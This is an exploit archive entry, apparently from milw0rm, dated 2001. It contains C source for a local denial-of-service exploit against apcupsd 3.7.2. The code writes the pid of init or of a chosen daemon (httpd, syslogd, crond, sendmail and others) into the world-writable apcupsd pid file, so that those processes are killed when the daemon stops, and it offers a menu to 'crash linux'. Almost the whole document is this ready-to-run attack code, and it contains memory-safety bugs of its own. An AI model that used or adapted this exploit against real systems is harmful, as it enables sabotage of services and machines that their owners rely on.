APC UPS 3.7.2 (apcupsd) Local Denial of Service Exploit

                                                /* Local Denial of Service for any linux box running APCUPSD v3.7.2 
 *
 * APCUPSD has his pid file world writeable, therefore it is possible
 * to let it kill another pid and create a denial of service against any
 * running daemon. (when the apcupsd is stopped, for example)
 *
 * Bug discovered by: Mattias Dartsch <[email protected]>
 * Exploit code by: The Itch / BsE 
 *
 * Greets fly out to: Tasc, C-Murdah, Calimonk, Zer0, Tozz, Pyra, 
 * Shadowlady, Wildcoyote, Lucipher, Zephyr, ph33r-the-b33r and aiko
 */
 
#include <stdio.h>

#define PIDFILE "/var/run/apcupsd.pid"

/* pid file definition (processes that you can choose from to crash)
 * these pid files and their paths came from a redhat distribution
 */

#define HTTPDPID "/var/run/httpd.pid"
#define SYSLOGDPID "/var/run/syslogd.pid"
#define CRONDPID "/var/run/crond.pid"
#define KLOGDPID "/var/run/klogd.pid"
#define INETDPID "/var/run/inetd.pid"
#define IDENTDPID "/var/run/identd.pid"
#define SENDMAILPID "/var/run/sendmail.pid"

int dosusage(char *apcfilename)
{
	printf("----------------------------\n");
	printf("\nUsage: %s <number>\n", apcfilename);
	printf("where number is either:\n");
	printf("1. crash linux\n");
	printf("2. crash httpd\n");
	printf("3. crash klogd\n");
	printf("4. crash crond\n");
	printf("5. crash syslogd\n");
	printf("6. crash inetd\n");
	printf("7. crash indentd\n");
	printf("8. crash sendmaild\n\n");	
	return 0;
}

int main(int argc, char **argv)
{
	FILE *apcpid;
	FILE *dospidfile;
	char *dospid[5];
	int dosarg;

	printf("\nAPCUPSD can be used to crash any linux distribution\n");
	printf("or any other pid running at that moment when apcupsd is\n");
 	printf("stopped or when it gets normally killed using its pid.\n");
	printf("\nCoded by The Itch / Bse\n\n");

	if(argc < 2) { dosusage(argv[0]); exit(0); }
	if(atoi(argv[1]) > 8) { dosusage(argv[0]); exit(0); }
	dosarg = atoi(argv[1]);

	apcpid = fopen(PIDFILE, "r");
	if(!apcpid)
	{
		printf("%s does not exist\n\n", PIDFILE);
		exit(1);
	}
	fclose(apcpid);

	apcpid = fopen(PIDFILE, "w");

	if(dosarg == 1)
	{
		/* crash entire linux */
		fprintf(apcpid, "1");
	}
	if(dosarg == 2)
	{
		/* crash httpd */
		dospidfile = fopen(HTTPDPID, "r");
		fgets(dospid[4], 4, dospidfile);		
		fclose(dospidfile);				
		fprintf(apcpid, dospid[4]);
	}
	if(dosarg == 3)
	{
		/* crash klogd */
		dospidfile = fopen(KLOGDPID, "r");
		fgets(dospid[4], 4, dospidfile);
		fclose(dospidfile);
		fprintf(apcpid, dospid[4]);
	}
	if(dosarg == 4)
	{
		/* crash crond */
		dospidfile = fopen(CRONDPID, "r");
		fgets(dospid[4], 4, dospidfile);
		fclose(dospidfile);
		fprintf(apcpid, dospid[4]);
	}
	if(dosarg == 5)
	{
		/* crash syslogd */
		dospidfile = fopen(SYSLOGDPID, "r");
		fgets(dospid[4], 4, dospidfile);
		fclose(dospidfile);
		fprintf(apcpid, dospid[4]);
	}
	if(dosarg == 6)
	{
		/* crash inetd */
		dospidfile = fopen(INETDPID, "r");
		fgets(dospid[4], 4, dospidfile);
		fclose(dospidfile);
		fprintf(apcpid, dospid[4]);
	}
	if(dosarg == 7)
	{
		/* crash identd */
		dospidfile = fopen(IDENTDPID, "r");
		fgets(dospid[4], 4, dospidfile);
		fclose(dospidfile);
		fprintf(apcpid, dospid[4]);
	}
	if(dosarg == 8)
	{
		/* crash sendmail */
		dospidfile = fopen(SENDMAILPID, "r");
		fgets(dospid[4], 4, dospidfile);
		fclose(dospidfile);
		fprintf(apcpid, dospid[4]);
	}
	
	fclose(apcpid);
	printf("DoS activated, its now a matter of time until apcupsd gets\n");
	printf("restarted or stopped....\n\n");
	
	return 0;
}



// milw0rm.com [2001-01-15]